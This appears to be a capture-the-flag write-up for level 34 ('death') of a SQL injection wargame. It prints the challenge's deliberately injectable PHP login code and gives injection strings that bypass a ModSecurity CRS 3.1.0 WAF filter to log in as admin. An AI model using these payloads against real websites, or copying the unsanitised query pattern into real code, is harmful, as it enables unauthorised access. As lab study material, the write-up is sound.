LOS Lv.34 death
death
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
query : select id from prob_death where id='' and pw=md5('')
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("death");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
Solution
1
2
3
4
CRS 3.1.0 WAF bypass -> {`a` b}, <@
?id=' or {`if` id=0x61646D696E} %23
?id=' <@ or id=0x61646D696E %23
This post is licensed under CC BY 4.0 by the author.